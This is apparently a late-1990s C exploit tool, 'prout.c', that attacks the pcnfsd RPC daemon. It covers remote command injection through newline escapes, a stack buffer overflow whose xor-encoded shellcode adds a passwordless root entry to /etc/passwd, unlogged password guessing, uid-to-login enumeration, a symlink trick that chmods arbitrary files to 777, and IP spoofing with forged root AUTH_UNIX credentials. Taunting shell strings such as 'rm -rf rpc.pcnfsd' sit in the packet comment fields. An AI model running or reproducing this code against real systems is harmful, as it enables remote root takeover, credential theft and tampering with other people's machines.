/* prout.c : (ab)use of pcnfs RPC program (version 2 only). [part of the rpc project, 981007] happy birthday route.. ga */ //#include #include // strcpy and co #include #include // malloc, free, strtol #include // signal(), alarm() #include // getopt, getuid, geteuid #include // perror #include // gethostbyname #include #include #include // socket interface #include #include // ip protocol (IPPROTO_*) #define LEN_HDR_IP 20 #define LEN_HDR_UDP 8 #define LEN_HDR_RPC 24 #define LEN_AUTH_UNIX 72+12 // length authentification field // (credentials=null) plus // length hostname%4 ("localhost") #define ROUND_VALUE(value) (value/4+(value%4?1:0)) int ctimeout; int verbose=0; struct ip_hdr // 20 { unsigned char ver; unsigned char tos; unsigned short int length; unsigned short int identification; unsigned short int fragoff; unsigned char ttl; unsigned char protocol; unsigned short int checksum; unsigned long int sip; unsigned long int dip; }; struct udp_hdr // 8 { unsigned short int sport; unsigned short int dport; unsigned short int length; unsigned short int checksum; }; // RPC common hdr struct rpc_hdr // 24 { unsigned long xid; unsigned long type_msg; unsigned long version_rpc; unsigned long prog_id; unsigned long prog_ver; unsigned long prog_proc; }; // RPC pcnfsd call args struct pr_cancel_args // 722(4) { unsigned long len_pn; char printername[64]; unsigned long len_clnt; char name[64]; unsigned long len_username; char username[64]; unsigned long len_printerjobid; char printerjobid[255]; unsigned long len_comments; char comments[255]; }; #define LEN_HDR_PCN_CANCEL sizeof(struct pr_cancel_args) struct pr_mapid_args { unsigned long len_comments; char comments[255]; unsigned long req_list; unsigned long mapreq; unsigned long uid; unsigned long len_username; char username[64]; unsigned long mapreqnext; }; #define LEN_HDR_PCN_MAPID sizeof(struct pr_mapid_args) struct pr_auth_args { unsigned long len_clnt; char name[64]; unsigned long len_id; char id[32]; unsigned long len_passwd; char passwd[64]; unsigned long len_comments; char comments[255]; }; #define LEN_HDR_PCN_AUTH sizeof(struct pr_auth_args) struct pr_init_args { unsigned long len_clnt; char name[64]; unsigned long len_pn; char printername[64]; unsigned long len_comments; char comments[255]; }; #define LEN_HDR_PCN_INIT sizeof(struct pr_init_args) struct pr_info_args { unsigned long len_version; char version[255]; unsigned long len_comments; char comments[255]; }; #define LEN_HDR_PCN_INFO sizeof(struct pr_info_args) void handler_timeout(int foo) { alarm(0); ctimeout=1; } void set_alarm() { alarm(10); ctimeout=0; } int readfd(fd, buffer, sizeb) int fd; char *buffer; int sizeb; { int nb; signal(SIGALRM, handler_timeout); set_alarm(); while(1) { nb=read(fd, (char *)buffer, sizeb); if (ctimeout) { ctimeout--; close(fd); fprintf(stderr, "udp answer timeout\n"); return -2; } if (nb<0) { perror("read"); close(fd); return -1; } else break; } alarm(0); return nb; } // PR_AUTH uses xor-crypted login/passwd void crypt_xor(dest_str, source_str) char *dest_str; char *source_str; { while (*source_str) { *dest_str++=(*source_str^0x5b) & 0x7f; source_str++; } *dest_str=0; } // It's ugly.. I know. void dump_packet(unsigned char *pkt, int lenpkt) { register int m; register int n; register unsigned char *data; printf("(%d bytes)\n", lenpkt); data=pkt; for (m=0;m0;n--) { if ((*(data+m-n)>31) && (*(data+m-n)<127)) printf("%c", *(data+m-n)); else putchar('.'); } putchar('\n'); } printf("%02x",*(data+m)); } for (m=0;m<(8-((lenpkt%8)?(lenpkt%8):8))*2+(4-((lenpkt%8)?(lenpkt%8-1):7)/2) ;m++) putchar(' '); for (m=lenpkt-((lenpkt%8)?(lenpkt%8):8);m31) && (*(data+m)<127)) printf("%c", *(data+m)); else putchar('.'); } printf("\n\n"); } // humm.. SOCK_RAW/IPPROTO_RAW, bad idea to use that, but well... int make_raw_socket() { int s; int opt=1; if ((s=socket(AF_INET, SOCK_RAW, IPPROTO_RAW))<0) { perror("socket"); return -1; } if ((setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&opt, sizeof(opt)))<0) { perror("setsockopt IP_HDRINCL"); return -1; } return s; } // spoof of the RPC auth unix authentification void make_auth_unix(authptr) unsigned long *authptr; { struct timeval tv; gettimeofday(&tv, (struct timezone *) NULL); *( authptr)=htonl(1); // auth unix *(++authptr)=htonl(LEN_AUTH_UNIX-16); // length auth *(++authptr)=htonl(tv.tv_sec); // local time *(++authptr)=htonl(9); // length host strcpy((char *)++authptr, "localhost"); // hostname authptr+=(3); // len(host)%4 *( authptr)=htonl(0); // uid root *(++authptr)=htonl(0); // gid root *(++authptr)=htonl(9); // 9 gid grps // group root, bin, daemon, sys, adm, disk, wheel, floppy, "user gid" *(++authptr)=htonl(0) ; *(++authptr)=htonl(1) ; *(++authptr)=htonl(2); *(++authptr)=htonl(3) ; *(++authptr)=htonl(4) ; *(++authptr)=htonl(6); *(++authptr)=htonl(10); *(++authptr)=htonl(11); *(++authptr)=htonl(0); } unsigned long int resolve_host_name(char *hname) { unsigned long inetaddr; struct hostent *h_ent; if ((inetaddr=inet_addr(hname))==-1) { if (!(h_ent=gethostbyname(hname))) { fprintf(stderr, "can't resolve host %s\n", hname); exit(1); } bcopy(h_ent->h_addr, (char *)&inetaddr, h_ent->h_length); } return(inetaddr); } /* Execute a command with the id of a user on a remote system. It's not part of the pcnfsd implementation... pcnfsd_misc.c doesn't correctly check all the escaped shell charaters. Therefore, it's possible to execute a "command" using the escape shell character '\n' (phf bug..). "command" must not contain any of these characters : ";|&<>`'#!?*()[]^/" otherwise pcnfs daemon rejects the call. */ int make_pcnfsd_PRCANCEL(pkt,lenpkt, sip, sport, dip, dport, username, printername, command) unsigned char *pkt; int lenpkt; unsigned long sip; unsigned short int sport; unsigned long dip; unsigned short int dport; char *username; char *printername; char *command; { int raws; unsigned long *authp; struct ip_hdr *iph; struct udp_hdr *udph; struct rpc_hdr *rpch; struct pr_cancel_args *prh; struct sockaddr_in s_in; struct sockaddr *sa=(struct sockaddr*)&s_in; iph= (struct ip_hdr*) (pkt); udph= (struct udp_hdr*) (pkt+LEN_HDR_IP); rpch= (struct rpc_hdr*) (pkt+LEN_HDR_IP+LEN_HDR_UDP); authp= (unsigned long *) (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC); prh= (struct pr_cancel_args *)(pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC +LEN_AUTH_UNIX); iph->ver=0x45; iph->length=htons(lenpkt); iph->identification=htons(0x6761); iph->ttl=0xff; iph->protocol=IPPROTO_UDP; iph->checksum=htons(0); // OS will do it for us.. iph->sip=sip; iph->dip=dip; udph->sport=htons(sport); udph->dport=htons(dport); udph->length=htons(lenpkt-LEN_HDR_IP); udph->checksum=htons(0); // XXX no udp checksum rpch->xid=htonl(0x67616761); // it has to be done.. rpch->type_msg=htonl(0); rpch->version_rpc=htonl(2); rpch->prog_id=htonl(150001); rpch->prog_ver=htonl(2); rpch->prog_proc=htonl(7); // PCNFSD_PROC_PRCANCEL prh->len_pn =htonl(63); prh->len_clnt =htonl(63); prh->len_username =htonl(63); prh->len_printerjobid =htonl(254); prh->len_comments =htonl(254); strcpy(prh->printername, printername); strcpy(prh->username, username); strcpy(prh->name, "localhost"); strcpy(prh->printerjobid, "whocares"); prh->printerjobid[7]='\n'; strcpy(&prh->printerjobid[8], command); prh->printerjobid[7+strlen(command)+1]='\n'; strcpy(prh->comments,"Indeed, 'rm -rf rpc.pcnfsd' would be a good choice."); make_auth_unix(authp); if ((raws=make_raw_socket())==-1) { return -1; } bzero((char *)&s_in, sizeof(s_in)); s_in.sin_family=AF_INET; s_in.sin_port=htons(911); // whatever bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr)); if ((sendto(raws, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa, sizeof(struct sockaddr)))==-1) { perror("send"); close(raws); return -1; } if (verbose) dump_packet(pkt, lenpkt); close(raws); return 0; } /* Retrieve remotely all logins (with uid) from a system. It's part of the pcnfsd implementation. */ int make_pcnfsd_PRMAPID(pkt, lenpkt, dip, dport, lo_uid, up_uid) unsigned char *pkt; int lenpkt; unsigned long dip; unsigned short int dport; int lo_uid; int up_uid; { int nbytes, sock; unsigned long *authp; unsigned long ansrpc[256]; struct rpc_hdr *rpch; struct pr_mapid_args *prh; struct sockaddr_in s_in; struct sockaddr *sa=(struct sockaddr*)&s_in; rpch= (struct rpc_hdr*) (pkt); authp= (unsigned long *) (pkt+LEN_HDR_RPC); prh= (struct pr_mapid_args *) (pkt+LEN_HDR_RPC+LEN_AUTH_UNIX); rpch->xid=htonl(0x67616761); rpch->type_msg=htonl(0); rpch->version_rpc=htonl(2); rpch->prog_id=htonl(150001); rpch->prog_ver=htonl(2); rpch->prog_proc=htonl(12); // PCNFSD_PROC_PRMAPID prh->len_comments =htonl(254); prh->req_list =htonl(1); // only one req_list prh->mapreq =htonl(0); // MAP_REQ_UID prh->len_username =htonl(63); prh->mapreqnext =htonl(0); // end req_list make_auth_unix(authp); if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0) { perror("socket"); return -1; }; bzero((char *)&s_in, sizeof(s_in)); s_in.sin_family=AF_INET; s_in.sin_port=htons(dport); bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr)); for (lo_uid; lo_uid<=up_uid;lo_uid++) { prh->uid=htonl(lo_uid); if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa, sizeof(struct sockaddr)))==-1) { perror("send"); close(sock); return -1; } if (verbose) dump_packet(pkt, lenpkt); signal(SIGALRM, handler_timeout); set_alarm(); while(1) { nbytes=read(sock, (char *)ansrpc, 1024); if (ctimeout) { fprintf(stderr, "uid %i : udp packet lost or no answer from " "the server\n", lo_uid); break; } if (nbytes<0) { perror("read"); close(sock); return -1; } else break; } alarm(0); if (!ctimeout) { if ( (ansrpc[2]!=htonl(0)) || (ansrpc[5]!=htonl(0)) ) { fprintf(stderr, "RPC answer status : bad proc/version/auth\n"); close(sock); return -1; } if (verbose) dump_packet((unsigned char*)ansrpc, nbytes); if (ntohl(ansrpc[6+ROUND_VALUE(ntohl(ansrpc[6]))+3])==0) printf("uid %i, user %s\n", ntohl(ansrpc[6+ROUND_VALUE(ntohl(ansrpc[6]))+4]), (char*)&ansrpc[(6+ROUND_VALUE(ntohl(ansrpc[6]))+6)]); } } close(sock); return 0; } /* Return a list of available printers on the server. */ int make_pcnfsd_PRLIST(pkt, lenpkt, dip, dport) unsigned char *pkt; int lenpkt; unsigned long dip; unsigned short int dport; { int nbytes, sock; unsigned long *authp; unsigned long buffer[256]; unsigned long *ansrpc; struct rpc_hdr *rpch; struct sockaddr_in s_in; struct sockaddr *sa=(struct sockaddr*)&s_in; rpch= (struct rpc_hdr*) (pkt); authp= (unsigned long *) (pkt+LEN_HDR_RPC); rpch->xid=htonl(0x67616761); rpch->type_msg=htonl(0); rpch->version_rpc=htonl(2); rpch->prog_id=htonl(150001); rpch->prog_ver=htonl(2); rpch->prog_proc=htonl(4); // PCNFSD_PROC_PRLIST make_auth_unix(authp); if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0) { perror("socket"); return -1; }; bzero((char *)&s_in, sizeof(s_in)); s_in.sin_family=AF_INET; s_in.sin_port=htons(dport); bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr)); if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa, sizeof(struct sockaddr)))==-1) { perror("send"); close(sock); return -1; } if (verbose) dump_packet(pkt, lenpkt); if ((nbytes=readfd(sock, (char *)buffer, 1024))<0) return -1; if ( (buffer[2]!=htonl(0)) || (buffer[5]!=htonl(0)) ) { fprintf(stderr, "RPC answer status : bad proc/version/auth\n"); close(sock); return -1; } if (verbose) dump_packet((unsigned char*)buffer, nbytes); ansrpc=&buffer[6+ROUND_VALUE(ntohl(buffer[6]))+1]; printf("printer list (printer name, device, comment):\n"); while(ansrpc[0]==htonl(1)) { ansrpc++; if (ansrpc[0]!=htonl(0)) printf("%s, ", (char *)&ansrpc[1]); else printf("- , "); ansrpc+=ROUND_VALUE(ntohl(ansrpc[0]))+1; if (ansrpc[0]!=htonl(0)) printf("%s, ", (char *)&ansrpc[1]); else printf("- , "); ansrpc+=ROUND_VALUE(ntohl(ansrpc[0]))+1; // skip client name ansrpc+=ROUND_VALUE(ntohl(ansrpc[0]))+1; if (ansrpc[0]!=htonl(0)) printf("%s\n", (char *)&ansrpc[1]); else printf("\n"); ansrpc+=ROUND_VALUE(ntohl(ansrpc[0]))+1; // next list } close(sock); return 0; } /* Try to guess a combination login/passwd. It's part of the pcnfsd implementation. A failed attempt is _not_ logged but a successful one is logged in wtmp (/usr/adm/wtmp) */ int make_pcnfsd_PRAUTH(pkt, lenpkt, dip, dport, username, password) unsigned char *pkt; int lenpkt; unsigned long dip; unsigned short int dport; char *username; char *password; { int nbytes, sock; unsigned long *authp; unsigned long ansrpc[256]; struct rpc_hdr *rpch; struct pr_auth_args *prh; struct sockaddr_in s_in; struct sockaddr *sa=(struct sockaddr*)&s_in; rpch= (struct rpc_hdr*) (pkt); authp= (unsigned long *) (pkt+LEN_HDR_RPC); prh= (struct pr_auth_args *) (pkt+LEN_HDR_RPC+LEN_AUTH_UNIX); rpch->xid=htonl(0x67616761); rpch->type_msg=htonl(0); rpch->version_rpc=htonl(2); rpch->prog_id=htonl(150001); rpch->prog_ver=htonl(2); rpch->prog_proc=htonl(13); // PCNFSD_PROC_PRAUTH prh->len_clnt =htonl(63); prh->len_id =htonl(31); prh->len_passwd =htonl(63); prh->len_comments =htonl(254); strcpy(prh->comments, "kill -9 `pidof rpc.pcnfsd` ?"); strcpy(prh->name, "localhost"); crypt_xor(prh->id, username); crypt_xor(prh->passwd, password); make_auth_unix(authp); if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0) { perror("socket"); return -1; }; bzero((char *)&s_in, sizeof(s_in)); s_in.sin_family=AF_INET; s_in.sin_port=htons(dport); bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr)); if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa, sizeof(struct sockaddr)))==-1) { perror("send"); close(sock); return -1; } if (verbose) dump_packet(pkt, lenpkt); if ((nbytes=readfd(sock, (char *)ansrpc, 1024))<0) return -1; if ( (ansrpc[2]!=htonl(0)) || (ansrpc[5]!=htonl(0)) ) { fprintf(stderr, "RPC answer status : bad proc/version/auth\n"); close(sock); return -1; } if (verbose) dump_packet((unsigned char*)ansrpc, nbytes); if (ntohl(ansrpc[6])==0) fprintf(stdout, "SUCCESS user \"%s\" (uid %i, gid %i), password \"%s\"\n", username, ntohl(ansrpc[7]), ntohl(ansrpc[8]), password); else fprintf(stderr, "FAILURE: user \"%s\", passwd \"%s\"\n", username, password); close(sock); return 0; } /* Execute a command as root on the system using a buffer overrun. Another one .. Tested on Slackware 3.1 running a compiled rpc.pcnfsd shipped with Slackware 3.5 (unpatched one). The return address may change with distribs.. If the overflow is successful, then /etc/passwd has the new entry : "prout::0:0::/:/bin/sh" */ int make_pcnfsd_PROVERFLOW(pkt,lenpkt, sip, sport, dip, dport) unsigned char *pkt; int lenpkt; unsigned long sip; unsigned short int sport; unsigned long dip; unsigned short int dport; { int raws; unsigned long *authp; struct ip_hdr *iph; struct udp_hdr *udph; struct rpc_hdr *rpch; struct pr_cancel_args *prh; struct sockaddr_in s_in; struct sockaddr *sa=(struct sockaddr*)&s_in; // buffer overflow data #define RETADDR 0xbffff740 // return address for pcnfsd // @(#)pcnfsd_print.c 1.12 1/29/93 // used on slackware 3.1 but with code of // rpc.pcnfsd shipped with slackware 3.5 (not // patched). This value may be different for // other linux distribs. #define BUFFSIZE 250 // no more, no less int off; unsigned char *bover; unsigned long *boverl; char execode[100]= // [asm code (linux x86 only)] "\xeb\x0e\x5f\x31\xc9\xb1\x4e\x80\x34\x39" // I had to rewrite a new asm "\xc6\x49\x7d\xf9\xeb\x2d\xe8\xed\xff\xff" // code that doesn't contain "\xff\x9d\x4f\x18\xf7\x06\xf7\x0f\xf7\x14" // any characters like : "\x76\xc3\xa0\x7f\xc7\xc2\x0b\x46\x4f\x05" // "\xf7\x06\xf7\x0f\xf7\x14\x76\xc2\x74\xd0" // ";|&<>`'#!?*()[]^/" and 0s "\x77\xca\xc7\x37\x0b\x46\xf7\x06\x86\x0b" // "\x46\x2e\x15\x39\x39\x39\xe9\xa3\xb2\xa5" // To crypt it, a simple "\xe9\xb6\xa7\xb5\xb5\xb1\xa2\xc6\xb6\xb4" // "xor 0xc6 loop" did the work "\xa9\xb3\xb2\xfc\xfc\xf6\xfc\xf6\xfc\xfc" // "\xe9\xfc\xe9\xa4\xaf\xa8\xe9\xb5\xae\xcc";// Once decrypted, the code // adds the new entry // "prout::0:0::/:/bin/sh\n" // in /etc/passwd // and then it exits cleanly iph= (struct ip_hdr*) (pkt); udph= (struct udp_hdr*) (pkt+LEN_HDR_IP); rpch= (struct rpc_hdr*) (pkt+LEN_HDR_IP+LEN_HDR_UDP); authp= (unsigned long *) (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC); prh= (struct pr_cancel_args *)(pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC +LEN_AUTH_UNIX); // set up code of buffer overflow bover=(unsigned char *)&(prh->printerjobid); for (off=0; off<(BUFFSIZE/2); off++) // 125 non operates *(bover++)= 0x90; // (x86 nop operand) Hello noppie. for (off=0; offver=0x45; iph->length=htons(lenpkt); iph->identification=htons(0x6761); iph->ttl=0xff; iph->protocol=IPPROTO_UDP; iph->checksum=htons(0); // OS will do it for us iph->sip=sip; iph->dip=dip; udph->sport=htons(sport); udph->dport=htons(dport); udph->length=htons(lenpkt-LEN_HDR_IP); udph->checksum=htons(0); // XXX no udp checksum rpch->xid=htonl(0x67616761); rpch->type_msg=htonl(0); rpch->version_rpc=htonl(2); rpch->prog_id=htonl(150001); rpch->prog_ver=htonl(2); rpch->prog_proc=htonl(7); // PCNFSD_PROC_PRCANCEL prh->len_pn =htonl(63); prh->len_clnt =htonl(63); prh->len_username =htonl(63); prh->len_printerjobid =htonl(254); prh->len_comments =htonl(254); strcpy (prh->printername, "lp"); // we assume "lp" is a good strcpy (prh->username, "nobody"); // printer strcpy (prh->name, "localhost"); strcpy (prh->comments,"Indeed,'rm -rf rpc.pcnfsd' would be a good choice."); make_auth_unix(authp); if ((raws=make_raw_socket())==-1) { return -1; } bzero((char *)&s_in, sizeof(s_in)); s_in.sin_family=AF_INET; s_in.sin_port=htons(911); // whatever bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr)); if ((sendto(raws, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa, sizeof(struct sockaddr)))==-1) { perror("send"); close(raws); return -1; } if (verbose) dump_packet(pkt, lenpkt); close(raws); return 0; } /* A local user can chmod(777) any files in the pcnfsd directory (including the pcnfsd directory itself "/var/spool/pcnfs" by using a file name "." as arg). Therefore, using a symlink, a user can chmod(777) any files on the system. */ int make_pcnfsd_local_PRINIT(pkt,lenpkt, dip, dport, filename) unsigned char *pkt; int lenpkt; unsigned long dip; unsigned short int dport; char *filename; { int sock; unsigned long *authp; struct rpc_hdr *rpch; struct pr_init_args *prh; struct sockaddr_in s_in; struct sockaddr *sa=(struct sockaddr*)&s_in; rpch= (struct rpc_hdr*) (pkt); authp= (unsigned long *) (pkt+LEN_HDR_RPC); prh= (struct pr_init_args *) (pkt+LEN_HDR_RPC+LEN_AUTH_UNIX); rpch->xid=htonl(0x67616761); rpch->type_msg=htonl(0); rpch->version_rpc=htonl(2); rpch->prog_id=htonl(150001); rpch->prog_ver=htonl(2); rpch->prog_proc=htonl(2); // PCNFSD_PROC_PRINIT prh->len_clnt =htonl(63); prh->len_pn =htonl(63); prh->len_comments =htonl(254); strcpy(prh->printername, "lp"); // PR_INIT doesn't check it // anyway strcpy(prh->name, filename); strcpy(prh->comments,"Indeed, 'rm -rf rpc.pcnfsd' would be a good choice."); make_auth_unix(authp); if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0) { perror("socket"); return -1; }; bzero((char *)&s_in, sizeof(s_in)); s_in.sin_family=AF_INET; s_in.sin_port=htons(dport); bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr)); if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa, sizeof(struct sockaddr)))==-1) { perror("send"); close(sock); return -1; } if (verbose) dump_packet(pkt, lenpkt); close(sock); return 0; } /* Same as make_pcnfsd_local_PRINIT() but with a spoofed ip/port. */ int make_pcnfsd_spoof_PRINIT(pkt,lenpkt, sip, sport, dip, dport, filename) unsigned char *pkt; int lenpkt; unsigned long sip; unsigned short int sport; unsigned long dip; unsigned short int dport; char *filename; { int raws; unsigned long *authp; struct ip_hdr *iph; struct udp_hdr *udph; struct rpc_hdr *rpch; struct pr_init_args *prh; struct sockaddr_in s_in; struct sockaddr *sa=(struct sockaddr*)&s_in; iph= (struct ip_hdr*) (pkt); udph= (struct udp_hdr*) (pkt+LEN_HDR_IP); rpch= (struct rpc_hdr*) (pkt+LEN_HDR_IP+LEN_HDR_UDP); authp= (unsigned long *) (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC); prh= (struct pr_init_args *) (pkt+LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC +LEN_AUTH_UNIX); iph->ver=0x45; iph->length=htons(lenpkt); iph->identification=htons(0x6761); iph->ttl=0xff; iph->protocol=IPPROTO_UDP; iph->checksum=htons(0); // OS will do it for us iph->sip=sip; iph->dip=dip; udph->sport=htons(sport); udph->dport=htons(dport); udph->length=htons(lenpkt-LEN_HDR_IP); udph->checksum=htons(0); // XXX no udp checksum, not rpch->xid=htonl(0x67616761); // reliable over inet. rpch->type_msg=htonl(0); rpch->version_rpc=htonl(2); rpch->prog_id=htonl(150001); rpch->prog_ver=htonl(2); rpch->prog_proc=htonl(2); // PCNFSD_PROC_PRINIT prh->len_clnt =htonl(63); prh->len_pn =htonl(63); prh->len_comments =htonl(254); strcpy(prh->printername, "lp"); // whatever strcpy(prh->name, filename); strcpy(prh->comments,"Indeed, 'rm -rf rpc.pcnfsd' would be a good choice."); make_auth_unix(authp); if ((raws=make_raw_socket())==-1) { return -1; } bzero((char *)&s_in, sizeof(s_in)); s_in.sin_family=AF_INET; s_in.sin_port=htons(911); // whatever bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr)); if ((sendto(raws, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa, sizeof(struct sockaddr)))==-1) { perror("send"); close(raws); return -1; } if (verbose) dump_packet(pkt, lenpkt); close(raws); return 0; } /* A (remote) user can retrieve the version of the running pcnfs daemon. If a buffer overrun exists in the pcnfs daemon then, using the version info, an evil user can guess the good return address to put on the stack (this value directly depends on the version of pcnfs). */ int make_pcnfsd_PRINFO(pkt,lenpkt, dip, dport) unsigned char *pkt; int lenpkt; unsigned long dip; unsigned short int dport; { int nbytes, sock; unsigned long *authp; unsigned long ansrpc[256]; struct rpc_hdr *rpch; struct pr_info_args *prh; struct sockaddr_in s_in; struct sockaddr *sa=(struct sockaddr*)&s_in; rpch= (struct rpc_hdr*) (pkt); authp= (unsigned long *) (pkt+LEN_HDR_RPC); prh= (struct pr_info_args *) (pkt+LEN_HDR_RPC+LEN_AUTH_UNIX); rpch->xid=htonl(0x67616761); rpch->type_msg=htonl(0); rpch->version_rpc=htonl(2); rpch->prog_id=htonl(150001); rpch->prog_ver=htonl(2); rpch->prog_proc=htonl(1); // PCNFSD_PROC_PRINFO prh->len_version =htonl(254); prh->len_comments =htonl(254); strcpy(prh->comments,"Become safe with this command : echo BAD>rpc.pcnfsd"); make_auth_unix(authp); if((sock=socket(AF_INET, SOCK_DGRAM, 0))<0) { perror("socket"); return -1; }; bzero((char *)&s_in, sizeof(s_in)); s_in.sin_family=AF_INET; s_in.sin_port=htons(dport); bcopy(&dip, &s_in.sin_addr, sizeof(struct in_addr)); if ((sendto(sock, (char *)pkt, lenpkt, 0, (struct sockaddr*) sa, sizeof(struct sockaddr)))==-1) { perror("send"); close(sock); return -1; } if (verbose) dump_packet(pkt, lenpkt); if ((nbytes=readfd(sock, (char *)ansrpc, 1024))<0) return -1; if ( (ansrpc[2]!=htonl(0)) || (ansrpc[5]!=htonl(0)) ) { fprintf(stderr, "RPC answer status : bad proc/version/auth\n"); close(sock); return -1; } if (verbose) dump_packet((unsigned char*)ansrpc, nbytes); if (ntohl(ansrpc[6])!=0) printf("pcnfsd version :\n%s\n", (char*)&ansrpc[7]); close(sock); return 0; } void usage(char *progname) { fprintf(stderr, "help : %s -h\n", progname); exit(0); } void option(char *progname) { fprintf(stderr, "%s :\n", progname); fprintf(stderr, " -i (infos about %s)\n", progname); fprintf(stderr, " -s (infos about system on which %s was tested)\n" ,progname); fprintf(stderr, " -v verbose mode (dumps sent/received packets)\n"); fprintf(stderr, " -p destip destport (retrieve printer list)\n"); fprintf(stderr, " -w destip destport (retrieve pcnfs version)\n"); fprintf(stderr, " -a destip destport user passwd\n"); fprintf(stderr, " -u destip destport lower_uid upper_uid\n"); fprintf(stderr, " -fl destip destport filename\n"); fprintf(stderr, " -fs sourceip sourceport destip destport filename" " \n"); fprintf(stderr, " -c sourceip sourceport destip destport username" " printername command\n"); fprintf(stderr, " -o sourceip sourceport destip destport\n"); fprintf(stderr, " -h scroll up your term about 10 lines\n"); exit(0); } main(int argc,char **argv) { int lenpacket, arg; int flag=0; unsigned char *packet; while ((arg=getopt(argc, argv, "pwauf:coishv")) !=EOF) { switch(arg) { case 'p': if ((argc-optind)!=2) option(argv[0]); lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX; flag=1; break; case 'w': if ((argc-optind)!=2) option(argv[0]); lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX+LEN_HDR_PCN_INFO; flag=2; break; case 'a': if ((argc-optind)!=4) option(argv[0]); lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX+LEN_HDR_PCN_AUTH; flag=3; break; case 'u': if ((argc-optind)!=4) option(argv[0]); lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX+LEN_HDR_PCN_MAPID; flag=4; break; case 'f': switch((char)*(optarg)) { case 'l': if ((argc-optind)!=3) option(argv[0]); lenpacket=LEN_HDR_RPC+LEN_AUTH_UNIX+LEN_HDR_PCN_INIT; flag=5; break; case 's': if ((argc-optind)!=5) option(argv[0]); lenpacket=LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC+LEN_AUTH_UNIX+ LEN_HDR_PCN_INIT; flag=6; break; default: option(argv[0]); break; // NOTREACHED } break; case 'c': if ((argc-optind)!=7) option(argv[0]); lenpacket=LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC+LEN_AUTH_UNIX+ LEN_HDR_PCN_CANCEL; flag=7; break; case 'o': if ((argc-optind)!=4) option(argv[0]); lenpacket=LEN_HDR_IP+LEN_HDR_UDP+LEN_HDR_RPC+LEN_AUTH_UNIX+ LEN_HDR_PCN_CANCEL; flag=8; break; case 'i': fprintf(stderr, "prout.c : exploits pcnfsd hole(s) - "); fprintf(stderr, "coded by 'ga' \n"); exit(0); case 's': fprintf(stderr, "Linux Mithrandir 2.0.0 i486 (dx2-66 8mb) - "); fprintf(stderr, "gcc version 2.7.2\n"); exit(0); case 'v': verbose++; break; case 'h': option(argv[0]); default: usage(argv[0]); break; // NOTREACHED } } if (!flag) usage(argv[0]); if ( (flag>5) && (getuid()!=0) && (geteuid()!=0) ) { fprintf(stderr, "I am not god.. I cannot create a raw packet without " "(e)uid 0\n"); exit(1); } if (!(packet=malloc(lenpacket))) { fprintf(stderr, "malloc() failed\n"); exit(1); } memset(packet, 0, lenpacket); switch(flag) { case 1: if (make_pcnfsd_PRLIST(packet, lenpacket, resolve_host_name(argv[optind]), strtol(argv[optind+1], (char **)NULL, 0))<0) fprintf(stderr, "error (PRLIST packet)\n"); break; case 2: if (make_pcnfsd_PRINFO(packet, lenpacket, resolve_host_name(argv[optind]), strtol(argv[optind+1], (char **)NULL, 0))<0) fprintf(stderr, "error (PRINFO packet)\n"); break; case 3: if (make_pcnfsd_PRAUTH(packet, lenpacket, resolve_host_name(argv[optind]), strtol(argv[optind+1], (char **)NULL, 0), argv[optind+2], argv[optind+3])<0) fprintf(stderr, "error (PRAUTH packet)\n"); break; case 4: if (strtol(argv[optind+2], (char **)NULL, 0) > strtol(argv[optind+3], (char **)NULL, 0)) { fprintf(stderr, "lo_uid MUST be inferior to up_uid...\n"); free(packet); exit(0); } if (make_pcnfsd_PRMAPID(packet, lenpacket, resolve_host_name(argv[optind]), strtol(argv[optind+1], (char **)NULL, 0), strtol(argv[optind+2], (char **)NULL, 0), strtol(argv[optind+3], (char **)NULL, 0))<0) fprintf(stderr, "error (PRMAPID packet)\n"); break; case 5: if (make_pcnfsd_local_PRINIT(packet, lenpacket, resolve_host_name(argv[optind]), strtol(argv[optind+1], (char **)NULL, 0), argv[optind+2])<0) fprintf(stderr,"error (local PRINIT packet)\n"); break; case 6: if (make_pcnfsd_spoof_PRINIT(packet, lenpacket, resolve_host_name(argv[optind]), strtol(argv[optind+1], (char **)NULL, 0), resolve_host_name(argv[optind+2]), strtol(argv[optind+3], (char **)NULL, 0), argv[optind+4])<0) fprintf(stderr,"error (forged PRINIT packet)\n"); break; case 7: if (make_pcnfsd_PRCANCEL(packet, lenpacket, resolve_host_name(argv[optind]), strtol(argv[optind+1], (char **)NULL, 0), resolve_host_name(argv[optind+2]), strtol(argv[optind+3], (char **)NULL, 0), argv[optind+4], argv[optind+5], argv[optind+6])<0) fprintf(stderr,"error (forged PRCANCEL packet)\n"); break; case 8: if (make_pcnfsd_PROVERFLOW(packet, lenpacket, resolve_host_name(argv[optind]), strtol(argv[optind+1], (char **)NULL,0), resolve_host_name(argv[optind+2]), strtol(argv[optind+3], (char **)NULL,0))<0) fprintf(stderr,"error (forged PRCANCEL buffer overrun packet)\n"); break; } free(packet); } /* www.hack.co.za 